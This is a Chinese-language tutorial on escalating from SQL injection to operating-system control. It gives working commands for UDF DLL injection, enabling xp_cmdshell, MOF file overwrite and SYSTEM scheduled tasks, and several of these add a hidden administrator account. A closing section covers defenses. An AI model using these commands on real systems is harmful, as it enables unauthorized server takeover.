这是一个非常重要且危险的网络安全话题。请务必注意:以下信息仅用于授权的渗透测试、安全研究和学习目的,未经授权对任何系统进行提权攻击都是非法的,并会带来严重的法律后果。

什么是 SQL 提权?
SQL 提权,全称是“SQL 注入提权”,是指攻击者利用应用程序中的 SQL 注入漏洞,执行恶意的 SQL 命令,从而获取数据库服务器或操作系统的更高权限,甚至完全控制服务器的过程。
攻击者不是直接攻击操作系统,而是通过数据库这个“跳板”来达到提权的目的。
提权前的必要条件
要成功进行 SQL 提权,通常需要满足以下一个或多个条件:
- 存在 SQL 注入漏洞:这是最基本的前提,应用程序没有对用户输入进行严格的过滤和验证,导致恶意 SQL 代码被插入到查询语句中并执行。
- 数据库用户权限足够高:提权的核心在于利用数据库用户的权限,如果数据库用户本身就是
sa(SQL Server) 或root(MySQL),那么提权就相对容易,如果只是一个普通用户,提权会困难很多。 - 数据库版本和操作系统信息:不同的数据库版本(如 MySQL 5.0 vs 5.7)、不同的操作系统(如 Windows vs Linux)对应着不同的提权方法和利用工具。
- Web 服务权限:在某些提权方式中(如 UDF 提权),Web 服务的进程权限(如 IIS 的权限、Apache 的权限)会影响最终的提权成败。
常见的 SQL 提权方法
我们将以最主流的 MySQL 和 Microsoft SQL Server 为例,介绍几种经典的提权方法。

UDF (User-Defined Function) 提权
这是 MySQL 和 SQL Server 上最经典、最强大的提权方法之一。
原理:
攻击者通过 SQL 注入向数据库中写入一个恶意的动态链接库(.dll 文件在 Windows,.so 文件在 Linux),然后创建一个 UDF 函数来调用这个 DLL 中的恶意代码(通常是执行系统命令的函数),之后,通过调用这个自定义函数,即可在数据库服务器上执行任意系统命令,从而获取一个 Shell。
步骤 (以 MySQL Windows 为例):
-
获取当前数据库名和版本:
SELECT database(); -- 获取当前数据库名 SELECT version(); -- 获取数据库版本
-
获取数据库绝对路径: 这是 UDF 提权最关键的一步,路径可以通过以下方式尝试获取:
- 报错注入:通过构造特定的报错语句让数据库返回路径。
AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x7e, (SELECT @@basedir), 0x7e, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x)a);
- 读取配置文件:
secure_file_priv配置允许,可以读取my.ini文件。SELECT LOAD_FILE('C:\\ProgramData\\MySQL\\MySQL Server 8.0\\my.ini');
- 报错注入:通过构造特定的报错语句让数据库返回路径。
-
创建恶意 DLL 文件并上传:
- 攻击者本机生成一个恶意的 DLL 文件(
udf.dll),其中包含一个名为sys_eval的函数,该函数可以执行系统命令。 - 将这个 DLL 文件的内容进行 16 进制编码。
- 使用
INTO DUMPFILE语句将编码后的 16 进制数据写入到数据库服务器的某个目录下(C:\ProgramData\MySQL\MySQL Server 8.0\Data\mysql\),写入的文件名必须与 UDF 函数名一致(但后缀是.dll)。SELECT 0x4D5A... (这里是16进制编码的DLL内容) INTO DUMPFILE 'C:\\ProgramData\\MySQL\\MySQL Server 8.0\\Data\\mysql\\udf.dll';
- 攻击者本机生成一个恶意的 DLL 文件(
-
创建 UDF 函数:
- 删除可能已存在的旧函数。
DROP FUNCTION IF EXISTS sys_eval;
- 创建新的 UDF 函数,指向刚刚写入的 DLL 文件。
-- CREATE FUNCTION function_name RETURNS STRING SONAME 'library_name.dll' CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
- 删除可能已存在的旧函数。
-
执行系统命令: 现在就可以调用
sys_eval函数来执行任意命令了。SELECT sys_eval('whoami'); -- 查看当前系统用户 SELECT sys_eval('net user hacker P@ssw0rd /add'); -- 添加用户 SELECT sys_eval('net localgroup administrators hacker /add'); -- 将用户加入管理员组
清理痕迹:
DROP FUNCTION sys_eval; -- 删除恶意函数
存储过程提权
这种方法利用数据库自带的存储过程来执行系统命令。
SQL Server 上的 xp_cmdshell:
xp_cmdshell 是 SQL Server 的一个存储过程,可以以操作系统命令解释器的方式执行给定的命令字符串,默认情况下,它可能被禁用。
-
启用 xp_cmdshell:
-- 需要 sysadmin 权限 EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-
执行命令:
EXEC xp_cmdshell 'whoami'; EXEC xp_cmdshell 'net user hacker P@ssw0rd /add && net localgroup administrators hacker /add';
MySQL 上的 UDF 提权(同上):UDF 提权本质上也是一种“创建并调用恶意函数”的过程,可以看作是广义上的存储过程提权。
MOF (Managed Object Format) 提权
这是 MySQL 在 Windows 系统上一种非常经典的提权方法,利用了 c:\windows\system32\wbem\mof\ 目录下的一个 nullevt.mof 文件。
原理:
Windows 系统会每隔一段时间去执行 mof 目录下的 MOF 文件,攻击者通过 SQL 注入将恶意的 MOF 文件内容写入到 nullevt.mof 中,这个恶意 MOF 文件里定义了一个系统事件,当事件触发时,会调用一个恶意的 VBScript 或 PowerShell 脚本,从而执行系统命令。
步骤:
- 获取数据库路径:同 UDF 提权,必须知道 MySQL 的数据文件存放路径。
- 写入恶意 MOF 文件:
攻击者构造一个恶意的 MOF 文件内容,并将其转换为 16 进制编码,然后使用
INTO DUMPFILE写入到c:\windows\system32\wbem\mof\目录下,覆盖nullevt.mof。-- MOF 文件内容示例 #pragma namespace ("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_LocalTime\" AND TargetInstance.Hour=20 AND TargetInstance.Minute=0 AND TargetInstance.Second=0"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\"); WSH.run(\"cmd.exe /c net user hacker P@ssw0rd /add && net localgroup administrators hacker /add\");"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };-- 写入命令 SELECT 0x4D5A... (这里是16进制编码的MOF内容) INTO DUMPFILE 'c:\\windows\\system32\\wbem\\mof\\nullevt.mof';
- 等待触发:等待大约一分钟(取决于
Win32_LocalTime的配置),系统就会执行这个 MOF 文件里的命令,完成提权。
任务计划提权
这种方法利用 Windows Task Scheduler(任务计划程序)来执行命令。
原理: 攻击者通过 SQL 注入创建一个 Windows 计划任务,让任务在特定时间或系统启动时执行一个恶意脚本或命令。
步骤 (以 SQL Server xp_cmdshell 为例):
-
创建计划任务:
EXEC xp_cmdshell 'schtasks /create /tn "MyTask" /tr "c:\windows\system32\cmd.exe /c net user hacker P@ssw0rd /add && net localgroup administrators hacker /add" /sc onlogon /ru SYSTEM';
/tn:任务名称/tr:要执行的命令/sc onlogon:在用户登录时运行/ru SYSTEM:以 SYSTEM 权限运行
-
等待触发:当下一个用户登录系统时,这个任务就会被自动执行,从而添加管理员用户。
防御 SQL 提权的策略
防御 SQL 提权,核心在于“最小权限原则”和“输入验证”。
-
使用参数化查询(Prepared Statements): 这是防止 SQL 注入最有效的方法,它将 SQL 代码和数据完全分离开,确保用户输入不会被当作 SQL 代码来执行。
- 不安全的写法 (拼接字符串):
# Python (不安全) query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'" cursor.execute(query)
- 安全的写法 (参数化查询):
# Python (安全) query = "SELECT * FROM users WHERE username = %s AND password = %s" cursor.execute(query, (username, password))
- 不安全的写法 (拼接字符串):
-
最小权限原则:
- 数据库层面:为 Web 应用程序创建专用的数据库用户,并只授予其完成业务所必需的最小权限(如
SELECT,INSERT,UPDATE),绝不授予FILE,SUPER,EXECUTE等高危权限,更不要使用root或sa。 - 操作系统层面:确保运行 Web 服务(如 Apache, Nginx, IIS)的账户权限尽可能低,避免它有权限修改系统关键目录。
- 数据库层面:为 Web 应用程序创建专用的数据库用户,并只授予其完成业务所必需的最小权限(如
-
安全配置数据库:
- MySQL:设置
secure_file_priv参数到一个非系统目录,限制LOAD_FILE和SELECT ... INTO DUMPFILE的操作范围。 - SQL Server:默认禁用
xp_cmdshell,并定期检查它是否被启用。
- MySQL:设置
-
及时更新和打补丁: 保持数据库软件和 Web 应用程序的最新版本,及时修复已知的安全漏洞。
-
输入验证和过滤: 对所有来自用户的输入进行严格的白名单验证,如果用户名只允许字母和数字,就应该拒绝所有包含特殊字符的输入。
| 提权方法 | 适用场景 | 核心思想 | 防御关键点 |
|---|---|---|---|
| UDF 提权 | MySQL, SQL Server | 上传恶意 DLL/SO 文件并创建函数调用 | 限制文件写入权限,禁止高危权限用户 |
| 存储过程提权 | SQL Server | 利用自带或恶意的存储过程执行命令 | 禁用 xp_cmdshell,限制 sysadmin 权限 |
| MOF 提权 | MySQL on Windows | 覆盖系统 MOF 文件,利用系统事件执行 | 限制数据库写入权限,最小化 Web 服务权限 |
| 任务计划提权 | SQL Server (有 xp_cmdshell) |
创建计划任务在特定时机执行命令 | 禁用 xp_cmdshell,最小化 Web 服务权限 |
SQL 提权是一个复杂但逻辑清晰的过程,理解其原理,有助于我们更好地构建防御体系,保护系统安全,再次强调,请将此知识用于合法的安全研究。
